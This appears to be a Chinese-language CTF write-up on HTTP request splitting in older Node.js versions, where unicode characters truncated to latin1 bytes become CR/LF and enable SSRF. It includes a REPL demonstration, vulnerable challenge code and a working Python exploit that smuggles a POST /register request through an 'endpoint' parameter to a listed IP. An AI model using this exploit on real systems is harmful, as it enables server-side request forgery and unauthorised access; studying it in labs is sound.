node.js下请求分割导致的ssrf
参考文章:
知识点:
- 对于不包含正文的请求(get delete),Node.js 默认使用“latin1”
For requests that do not include a body, Node.js defaults to using “latin1”, a single-byte encoding that cannot represent high-numbered unicode characters such as the 🐶 emoji.
- JavaScript 具有 unicode 字符串,因此将它们转换为字节意味着选择并应用适当的 unicode 编码
Although users of the
http
module will typically specify the request path as a string, Node.js must ultimately output the request as raw bytes. JavaScript has unicode strings, so converting them into bytes means selecting and applying an appropriate unicode encoding.
总结
因为JavaScript 具有 unicode 字符串,所以js会将unicode字符串编码解析为对应的unicode字符。但是将这些字符作为get请求或者delete请求的一部分时(这类型的http请求不包含正文),js默认会以latin1编码去解析这些unicode编码,而latin1是单字节编码,不存在对应的unicode字符,所以这些unicode编码将会以单字节的形式出现。这时,如果这些unicode编码是精心构造的,那么这些单字节就有可能成为Http请求的控制字符,以此可以达到请求拆分的目的
简单理解为:
- 用户传入精心构造的unicode编码
- js在解释时以unicode字符串格式解释
- 用户输入的字符串作为get请求的一部分执行
- js解析该get请求时单独解析unicode字符的每个字节为http协议控制字符
代码复现
> v = "/caf\u{E9}\u{01F436}" //用户输入字符串
'/café🐶'
> Buffer.from(v, 'latin1').toString('latin1') //在作为get请求的一部分解析时单独解析unicode字符的每个字节
'/café=6'
> Buffer.from('http://example.com/\u{010D}\u{010A}/test', 'latin1').toString()
'http://example.com/\r\n/test'
漏洞靶场
部分关键代码
async getWeather(res, endpoint, city, country) {
// *.openweathermap.org is out of scope
let apiKey = '10a62430af617a949055a46fa6dec32f';
let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`);
....
}
payload格式
endpoint = \
"""127.0.0.1/ HTTP/1.1
Host: 127.0.0.1
POST /api/weather HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Lenth:
username=*&password=*
GET """
ssrf部分exp
import requests
import urllib.parse
url = "http://157.245.45.1:30165"
username = "admin"
password = "admin"
contentLen = len(f"username={username}&password={password}")
endpoint = \
f"""127.0.0.1/ HTTP/1.1
Host: 127.0.0.1
POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: {contentLen}
username={username}&password={password}
GET /?mmp="""
city = "abandon"
country = "abandon"
endpoint = endpoint.replace(" ", "\u0120").replace("\n", f"\u0D0A")
data = {}
data.update({"endpoint": endpoint})
data.update({"city": city})
data.update({"country": country})
print(data)
response = requests.post(url=url+"/api/weather", data=data)
print(response.status_code)
node.js版本
存在请求分割的js版本是:
x < Node.js 10 or x <= Node.js 8